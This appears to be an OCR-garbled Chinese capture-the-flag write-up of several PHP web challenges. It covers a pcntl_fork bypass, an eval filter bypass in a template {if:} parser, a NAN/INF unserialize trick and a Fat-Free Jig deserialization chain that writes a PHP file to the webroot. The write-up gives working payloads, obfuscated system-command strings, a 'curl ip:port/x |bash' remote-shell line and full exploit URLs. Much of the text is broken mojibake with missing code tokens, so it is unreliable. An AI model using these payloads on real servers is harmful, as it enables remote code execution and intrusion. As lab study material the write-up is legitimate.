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<?php

$pid pcntl fork();
if ($pid 1) {
die( )5
}else if ($pid){
$r=pcntl wait($status);
if(!pcntl wifexited($status)){
phpinfo();
)i
}else{
highlight file(__ FILE_ );
if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match( ,$ GET['a'])){
call user_func_array($ _GET[ 1,[$_GET[ ],false, true]);

}
posix_kill(posix_getpid(), SIGUSR1);

pcntl fork()
(PHP 4 4.1.0, PHP 5, PHP 7)
pcntl_fork: ZEMEIHEEARMEEDX (FHE) o forkBEIET — TR, RKH#EMTHE MM forkhz BIFMH M T4SHAT, NFE
HIRRHEIATIERS, BRMforkiREMERNTHES, TFREERKEe
i B
pcntl_fork ( void ) : int
R THE, XANTFHEMNPID GEES) FPPID (R#FES) HHIBHEAF.

B IhE, fERHEFEPATRIE IR B K FRHFEMPID, £ FHBEHITERENEREO. KA, ER#HELTRE-1, A&tlgTi#E, S
5| K —PHP4E % o

pcntl_wait()

(PHP 5, PHP 7)

pcntl_wait: FREUREfork®FHFRE

PiBH: pcntl wait ( int &$status [, int $options = @ ] ):int

wa it E A HERNPITER - TR BN R —ME S ER P AR H RS M S AR R AT R A
B ELEH BRHRESHE , WRBGLZRE. FRHEGHNIA RAFER HRIK

pcntl_waitpid()

(PHP 4 4.1.0, PHP 5, PHP 7)

pcntl_waitpid: SRR [Elfork i) FHEFRRA

iBA: pcntl waitpid ( int $pid , int &$status [, int $options = @ ]):int

HRE Y ETHENPITER S B pidiE g MRS HHEERY, SEKE—/MESERP B YRR — /M 5 A B R 3
pcntl_waitpid()iRELEM FRHEHES, KAER RN RE-1, nRER A TWNOHANGIE Aoption (wait3RTHMIRS) I H A v A FtfEn
1% [510

pcntl_wifexited()

(PHP 4 4.1.9, PHP 5, PHP 7)

pcntl_wifexited: MEFHERESRILESGRER—IEFKIEH
B : pcntl_wifexited ( int $status ) : bool

LT HRRSHAEZERF B HEIERE TRUE , HAREHEE FALSE.

R FF 46 03X 18 R T I LA 2 call_user_func_array () HIRIBIAT, {HR call_user func_array() FHIZE -ANSHF L THA
JCE false fl true , SHERZRTEZXBNRBIATHINER, BERAHETRERELERZRLEPITH phpinfo() , BHAT
B phpinfo() » BHEE pentl wifexited() IR[E] FALSE

AT pentl_fork() » EA#18 pentl_wifexited() iR[El FALSE R BEEMH B THEREEIN, #/H call _user_func() i
F pentl_wait() i pentl_waitpid() BU ] /5 FHEFRIR B R 5 4T Q#kFE, payload:




call user_func&b=pcntl wait

call user_func&b=pcntl waitpid

stream_socket_server
fsockopen&b=1

c . 0 4 6 decil ichungiu.com,

5 Amusement s 53 Google Translate @ le HK € CSD BUUCTF

PHP Version 7.4.8

Php

System

Linux engine-14.19.24-7.19.al7 x86_64 #1 SMP Fri Jul 10 17:10:10 CST 2020 xB6_64

Build Date

Aug 52020 04:44:58

‘Configure Command

*Jeonfigure' *—build=x86_64-linux-gnu' —with-config-file-path=/usrlocalletciphp’ —with-config-file-scan-dir=/usr

Nocalfete/phplconf.d —enable-option-checking=fatal —with-mhash’ ‘—enable-ftip —enable-mbstring’ ‘—enable-

mysqgind —with-password-argen2 ‘—with-sedium=shared" "—with-pdo-sqlite=/usr "—with-s glite 3=/usr —with-curl’
“~with-libedit ‘~with-openssl *—with-zlib" "—with-p: “—with: 6_64-1 gnu’ —with-apxs2' ‘—disable-

cgi' ‘build_alias=x86_64-linux-gnu’

Server APl

Apache 2.0 Handler

Virtual Directory Support

disabled

Configuration File (php.ini) Path

iusrlocalietc/php

Loaded Configuration File

(none)

Scan this dir for additional .ini files

iusrlocalietc/phplcont.d

Additional .ini files parsed php! didocker-php-ext-pentl.ini, fusriloc: php! if. didocker-php-ext-sodium.ini
PHP API 20190902
PHP Extension 20190902
Zend Extension 320190902

Zend Extension Build

API1320190902 NTS

PHP Extension Build

API20130902 NTS

Debug Build no

Thread Safety disabled
Zend Signal Handling enabled
Zend Memory Manager enabled

Zend Multibyte Support

provided by mbstring

IPv6 Support

enabled

Encryption ~ Encoding ~ SQL ~ XSS~ Other ~
@ Load URL htip:/ieci-2ze6ie6ridjib3wgfivm.cloudecit.ichungiu.com/?a=call_user_func&b=pcntl_waitpid
gg Split URL
‘ ») Execute

[ Post data [ Referer [J User Agent [] Cookies Clear All

TERM

wderm

PHP_URL

hitps:iwww_php net/distributionsiphp-7.4.8 tanz

APACHE_RUN_GROUP

www-data

I_ ICQ_FLAG

c2099d86-3c13-41ef-bB7e-6517a448709c} I

APACHE_LOCK_DIR

Marflocklapache2

PHP_EXTRA_CONFIGURE_ARGS

—with-apxs2 —disable-cgi

SHLVL 0

PHP_CFLAGS -fstack-protector-strong -fpic -fpie -02 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
APACHE_RUN_DIR Narfruniapache2

APACHE_ENVVARS letcfapache2/enwars

APACHE_RUN_USER www-data

PATH

fustflocalisbiniusriocal/bin:iusrisbin:iusr/bin:/sbin:ibin

PHP_EXTRA_BUILD_DEPS

apache2-dev

PHP_ASC_URL

hitps:ifwww.php.net/distributions/php-7.4.8 tarxz.asc

PHP_CPPFLAGS

fstack-protector-strong -fpic -fpie -02 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64

MEFSFS0 MEETW

error_reporting(®);

highlight file(_ FILE_);

parserIflLabel($ GET[ 1);

function danger_key($s) {
$s=htmlspecialchars($s);
$key=array(

)
$s tr_ireplace($key,

$danger=array(

https:/iblog.csdn.netmochu? 777777



foreach ($danger as $val){
if(strpos($s,$val) false){
die(

bj
if(preg_match(
die(
s
return $s;
b
function parserIflLabel( $content ) {
$pattern 5
if ( preg_match_all( $pattern, $content, $matches ) ) {
$count = count( $matches[ @ ] );
for ( $1i = 0; $i < $count; $i ) {
$flag ;
$out_html 5
$ifstr = $matches[ 1 ][ $i 1;
$ifstr=danger_key($ifstr,1);
if(strpos($ifstr, ) false){
$arr= splits($ifstr, )8
if($arr[o] $arr[1] ){
die( .$ifstr. )8
¥
$ifstr = str_replace( , $ifstr );
)i
$ifstr = str_replace( , $ifstr );
$ifstr = str_replace( , $ifstr );
$ifstr = str_replace( 5 , $ifstr );
$ifstr = str_replace( 5 , $ifstr );
$ifstr = str_replace( 5 , $ifstr );
if ( preg_match( , $ifstr)) {
die( .$ifstr);
}else{
@eval(

if ( preg_match( , $matches[ 2 ][ $i ], $matches2 ) ) {
switch ( $flag ) {
case
if ( isset( $matches2[ 1 ] ) ) {
$out_html .= $matches2[ 1 ];
b
break;

case

if ( isset( $matches2[ 2 ] ) ) {
$out_html .= $matches2[ 2 ];

}

break;
)
} elseif ( $flag ) {
$out_html .= $matches[ 2 ][ $i ];
)i
$pattern2 5
if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
$out_html str_replace( . $matches3[ 1 ], , $out_html );
$out_html str_replace( . $matches3[ 1 ] . 5 , $out_html );
$out_html str_replace( . $matches3[ 1 ] . , $out_html );
$out_html = $this->parserIfLabel( $out_html );




)i
$content = str_replace( $matches[ @ ][ $i ], $out_html, $content );

}

return $content;

s
function splits( $s, $str ) {

if ( empty( $s ) ) return array( )
if ( strpos( $s, $str ) false ) {
return explode( $str, $s );
} else {
return array( $s );

B HBA A A

@eval( . $ifstr .

SR

$pattern

{if: (ILEEAZ) }(ILEEA ) {end if}

RIGA IR BAH T — T preg_match_all() )% XA S K SmatchesKI A%

error_reporting(@);
$str="{if:((sy.(st).em)( cat /flag'))}{end if}";
(preg_match_all(" /\{if:([\s\S5]+2)}([\s\5]1*?){end\s+if}/",$str,$matches)){$count-count($matches[@]);echo "\n".$count."\n";}
var_dump($matches);
echo "
echo $matches[1][@];
A Administrator: C:\Program Files\PowerShell\7-preview\pwsh.exe

php

https://blog.csdn.net/mochu7777777

B $count=1, IBA $ifstr B2 $matches[ 1 ][ @ 1;, FHEHMWHEHT $matches[ 1 ][ o 1; AILLE 22 FEAIME AN Kipayload
FREREITER {} PRIAE, ZJ5 $ifstr=danger_key($ifstr,1); 8 T danger_key() T TR L RBFR, LK.




if(strpos($ifstr, ) false){
$arr= splits($ifstr, );
if($arr[0] $arr[1]
die( .$ifstr. )

1
J

$ifstr = str_replace( , $ifstr );

1
J

$ifstr = str_replace( , $ifstr );
$ifstr = str_replace( , $ifstr );

$ifstr = str_replace( 5 , $ifstr );
$ifstr = str_replace( 5 , $ifstr );
$ifstr = str_replace( 5 , $ifstr );
if ( preg_match( , $ifstr)) {

die( .$ifstr);
}else{

@eval(

EEIET — =, {} SZENFR, BHRE, BEHAR eval HHFETHAT, OKRIEHEBXE
X R AR GET 22 B2 8Lt #hiT , BypassBIAT

FR&®|PESGT
fEH php B PHERR T, WSS RE BHAT, payloadn F:
a={if:(sy.(st).em)(whoami)}{end if}

a={if:(s.y.s.t.e.m)(env)}{end if}
a={if:(s.y.s.t.e.m)( ){end if}

& A R 515 AT

{if:1)echo “cat /flag ;

Tk i) 9 55 S ik

a={if:var_dump((hex2bin(dechex(102)).hex2bin(dechex(105)).hex2bin(dechex(108)).hex2bin(dechex(101)).hex2bin(dec
hex(95)) .hex2bin(dechex(103)).hex2bin(dechex(101)).hex2bin(dechex(116)).hex2bin(dechex(95)).hex2bin(dechex(99)).
hex2bin(dechex(111)).hex2bin(dechex(110)).hex2bin(dechex(116)).hex2bin(dechex(101)).hex2bin(dechex(110)).hex2bin
(dechex(116)).hex2bin(dechex(115))) ((hex2bin(dechex(47)).hex2bin(dechex(102)).hex2bin(dechex(108)).hex2bin(deche
X(97)).hex2bin(dechex(103)))))tdx{end if}

a={if: (hex2bin( ))( )};{end if}

[ #shell

a={if: curl ip:port/x |bash’ }{end+if}
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easytrick

<?php
class trick{
public $trickil;
public $trick2;
public function _ destruct(){
$this->trickl (string)$this->trickil;
if(strlen($this->trickl) 5 strlen($this->trick2) 5){
die( )s
)i
if($this->trickl $this->trick2 md5($this->trickl) md5($this
s->trick2){
echo file_get contents( )5

highlight_file(_FILE_ );
unserialize($_GET[ IDE

$this->tricklM$this->trick2 K EHAGE K TS

$this->trick1MISRBI S EEH Nstring

$this->trickl!==$this->trick2 R FERRSE AR EI A

md5 ($this->trickl) md5 ($this->trick2)mdSine 5 B4

$this->trickl $this->trick2§5 A%, EARREBIAT

ff FIPHP LB BRI R NAN . INF B AT S2id

PS C:\Users\Administrator
bool(true)
PS C:\Users\Administrator
bool(true)
PS C:\Users\Administrator
bool(true)

PS C:\Users\Administrator
bool(true)
PS C:\Users\Administrator
bool(true)
PS C:\Users\Administrator
bool(true)

trick2)

$this

HackBar

trickl

| EditT

$thi
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<?php

class trick{
public $trickil;
public $trick2;

new trick();
trickl NAN ;
trick2 NAN ;

serialize($res);

<?php

class trick{
public $trickil;
public $trick2;

new trick();
trickl INF;
trick2 INF;

serialize($res);

<7?php

class trick{
public $trickl;
public Strick2;

public function _ destruct(}{
$this->trickl = (string)$this->trickl;
if (strlen(Sthis->trickl) > 5 || strlen(Sthis->trick2) > 5)1{

die ("FARET") ;
i
if ($this->trickl !== Sthis->trick2 && md5(Sthis->trickl) === md5($this->trick2) && Sthis->trickl != Sthis->trick2){
echo file_get_contents ("/flag");
}
1
}
highlight file(_ FILE_ );
unserialize($_GET['trick']l);

flag {b94e5fd0-b941-4944-a8ace-0fe6beea7ab3}

HackBar | | EditTh
Encryption ~ Encoding + SQL~ XSS~ Other v
@ Load URL hitp.//192.168.7.17/easylrick/?trick=0.5."rick" 2:{s:6 "trick1".d . NAN, 5.6 "trick2",d-NAN }
B selitURL

Execute
| > [0 Postdata [ Referer [ User Agent [ Cookies Clear All

BRE— TN E B R —FEH
PHPEEE M A%: https:/mww.cnblogs.com/phpper/p/7664069.html

<?php
class trick{
public $trickil
public $trick2
1
J
$res new trick();

echo serialize($res);

?>



https://www.cnblogs.com/phpper/p/7664069.html

<?php
class trick]
public S$trickl;
public $trick2;
public function destruct () {

S$this->trickl = (string)Sthis->trickl;

if(strlen($this->trickl) > 5 || strlen(Sthis->trick2) > 5){
die (AT ;
1
if(sthis->trickl !== $this->trick2 && md5(§this-»trickl) === md5($this->trick2) && Sthis->trickl != Sthis->trick?2){

echo file get_contents("/flag");
}
h
nighlight file( FILE_);
unserialize(S_GET['trick']):

flag {b94e5fd0-b941-4944-a8ae-0fe6beea7ab3}

HackBar

Encryption + Encoding ~ SQL ~ XSS~ Other ~
& Load URL hitp://192 168.7_17/easytrick/?trick=0:5"trick":2:{s:6:"trick1".d 5 6000000000000005;5:6"rick2",d:5. 6000000000000005}

1 spiiturL

| +) Execute ‘ .
S — ear All

[ Postdata [ Referer [] User Agent [] Cookies C

babyunserialize



L— fatfree

I— composer.json

— config.ini

I— index.php

F— 1ib
I— audit.php
I— base.php
I— bcrypt.php
— CHANGELOG.md
F— cli
| L ws.php

I— code.css

I— cursor.php
— iig
| }— mapper.php
| L session.php
[— jig.php
— mongo
| b mapper.php
| L— session.php
}— mongo . php
F— sql
| | mapper.php
| L— session.php
L— sql.php
f3.php
image.php
[— log.php
— magic.php
|—— markdown.php
|—— matrix.php
I— session.php
I— smtp.php
I— template.php
I— test.php
I— utf.php
— web
| | geo.php
| F— google
| | — recaptcha.php
| | L— staticmap.php
| — oauth2.php
| I— openid.php
| L— pingback.php

i

— css

| — base.css

| L— theme.css
— images

| | logo.png

| | paypal.png
| L— twitter.png
— layout.htm

— userref.htm
L— welcome.htm




FIREA AR A, 7 /1ib/db/jig.php TR write() FFEE

function write($file,array $data=NULL) {
if (!$this->dir $this->1lazy)
return count($this->data[$file]=$data);

$fw=\Base: :instance();

switch ($this->format) {

case self::FORMAT_JSON:
$out=json_encode($data,ISON PRETTY_ PRINT);
break;

case self::FORMAT Serialized:
$out=$fw->serialize($data);

break;

1
J

return $fw->write($this->dir.$file,$out);
1
I

FEFRRER _ destruct() FiEHRE R write() Hik

function _ destruct() {
if ($this->lazy) {

$this->lazy = FALSE;
foreach ($this->data?:[] as $file
$this->write($file,$data);

HE:HiE poc.php



con
FORMAT_JSON=0,
FORMAT _Serialized=1;

protected

$format

$data = array(

$lazy TRUE;

$jig = new jig();
echo urlencode(serialize($

may be you need /?flag=

HackBar |

tribute now! HackBar v2

Encryp El ng ~ XSS ~  Other ~
@ Load URL hitp://192.168 7 17/babyunserialize/fatiree/?lag=0%3A6%3A% 22DB%5CJig%22%3A4%3A%7 Bs % 3A6%3A%22%00 % 2A%00dir% 22%3B5%3A14%3A% 22% 2 Fvar% 2Fwww % 2Fhtmi%2 F%22% 385 % 3A9%3A%22%00%2A%00format%22%3B5%3A17 %3A%22sell
53A%3AFORMAT_ISON%22%3B5%3A7%3A%22%00%2A%00data%22% 38a% 3A1 %3A%7B5%3A11%3A%22Mm0c TnU7 php%22% 3B a%3A1%3A% 7 Bs%3A1%3A%22a%22%3B5% 3A1 8%3A%22%3C % 3F php+ Phpinfo% 28%29%3B%3F % 3E%229%3B% D% TDS%3AT
§ splitURL %3A%22%00%2A%00lazy%22%38b% 3A1%3B% 7D
| et |

[] Postdata [] Referer [] UserAgent [] Cookies  Clear Al

{"a""

PHP Version 7.4.9 Php

System Linux 9badfe8ffala 4.18.0-193.6.3.el8_2 x86_64 #1 SMP Wed Jun 10 11:09:32 UTC 2020 x86_64

Build Date Aug 6 2020 19:18:23

* fconfigure’ '-build=x86_64-linux-gnu’ '—with-config-file-path=/usr/local/etc/php’ '—with-config-file-scan-dir=/usr/local
fetc/php/conf.d' --enable-option-checking=fatal' '--with-mhash' '--enable-ftp' --enable-mbstring’ '--enable-mysqind'
"_with-password-argon2' '—with-sodium=shared' '-with-pdo-sqlite=/usr' —with-sglite3=/usr' “-with-curl' —-with-libedit'
—with-openssl' "--with-zlib' "—-with-pear’ '—with-libdir=lib/x86_64-linux-gnu' '—enable-fpm’ "--with-fpm-user—www-data’
"—with-fom-group=www-data' '-disable-cgi’ 'build_alias=x86_64-linux-gnu'

Configure Command

Server API FPM/FastCGlI

Virtual Directory Support disabled

Configuration File (php.ini) Path fusrllocal/etc/php

Loaded Configuration File (none)

Scan this dir for additional .ini files fusrllocal/etc/php/conf.d

Additional .ini files parsed fusrllocal/etc/php/conf.d/docker-php-ext-sodium.ini
PHP API 20190902

PHP Extension 20190902

Encryption ~ Encoding ~ SQL~ XSS~ Other ~
@ Load URL nitp://192.168.7.17/m0Cc1nu7.php
gg Split URL

») Execute



littlegame

TEEW, WAKE FRESERRE , CX T wp
https://www.gem-love.com/ctf/2569.html
http://igml.top/2020/08/21/2020-ciscn/
https://blog.csdn.net/qq_42697109/article/details/108212765

Misc
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a: 10 o= 1040

HE(RERNEIlag: flag(RFHEHEME, FTRESRAEM. )

-

Flag{ AAHSEHHIE, TRBIRA 2. }

the_best_ctf_game


https://www.gem-love.com/ctf/2569.html
http://igml.top/2020/08/21/2020-ciscn/
https://blog.csdn.net/qq_42697109/article/details/108212765

ffF 010 editor « T/ HERIMIERS. ARG AFT FA AT LA

flag{65e02f26-0d6e-463f-bc63 VEELLY)
FEL /o 45 R
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